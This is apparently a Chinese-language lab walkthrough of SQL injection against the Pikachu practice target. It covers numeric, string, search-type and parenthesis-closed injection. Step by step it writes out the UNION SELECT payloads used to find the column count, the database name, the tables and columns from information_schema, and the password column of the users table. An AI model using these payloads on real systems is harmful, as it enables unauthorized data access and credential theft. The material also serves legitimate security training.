SQL注入概述
数字型注入(post)
随便选择一个进行抓包
可以看出,传入的值赋值给了参数id.
因为是数字型注入,我们在1后面加上一个单引号看是否报错
报错了,确定漏洞存在
id=1 or 1 #
可以把所有列表爆出来,因为1为真,符合所有条件,所以输出了所有的用户
order by 判断字段长度
order by 2 正常,order by 3 报错,说明字段长度为2
然后union select 进行联合查询,右边的1和2就是回显查询结果的地方
先查一下数据库,将结果回显到2的地方(要将id改为一个不存在的数字,一般用-1):
id=-1 union select 1,database() #
数据库名为pikachu
接下来就是构造sql语句,查询自己想要的内容
查数据库的表
id=-1 union select 1,table_name from information_schema.tables where table_schema=‘pikachu’ #
查询指定表的列名,这里我查询的是users表
id=-1 union select 1,column_name from information_schema.columns where table_schema=‘pikachu’ and table_name=‘users’ #
查询指定列的数据,我这里查询password
id=-1 union select 1,password from users#
字符型注入(get)
先随便输入一个值,点击查询,在url中看到
然后单引号报错
剩下的步骤和post一样,只是将pyload放到url中。
order by 判断字段长度为2
1’ order by 3 #
爆数据库
-1’ union select 1,database() #
其他步骤参考get形式即可
搜索型注入
先输入个1’尝试报错
根据报错信息可知,闭合可能要用%
输入1%,没有报错,但是因为用户名里没有1,所以没有搜索到
只输入一个%,输出了所有用户
order by 判断字段长度,长度为3
1 %’ order by 4 #
查询数据库
1 %’ union select 1,2,database() #
其他步骤仍然参考数字型注入
xx型注入
提示里面说的好
直接1’尝试报错
根据报错信息,我们构造闭合
1’) # 没有报错,成功闭合
order by 查字段长度
1’) order by 3#
联合查询查数据库
1’) union select 1,database()#
其他步骤参考字符型注入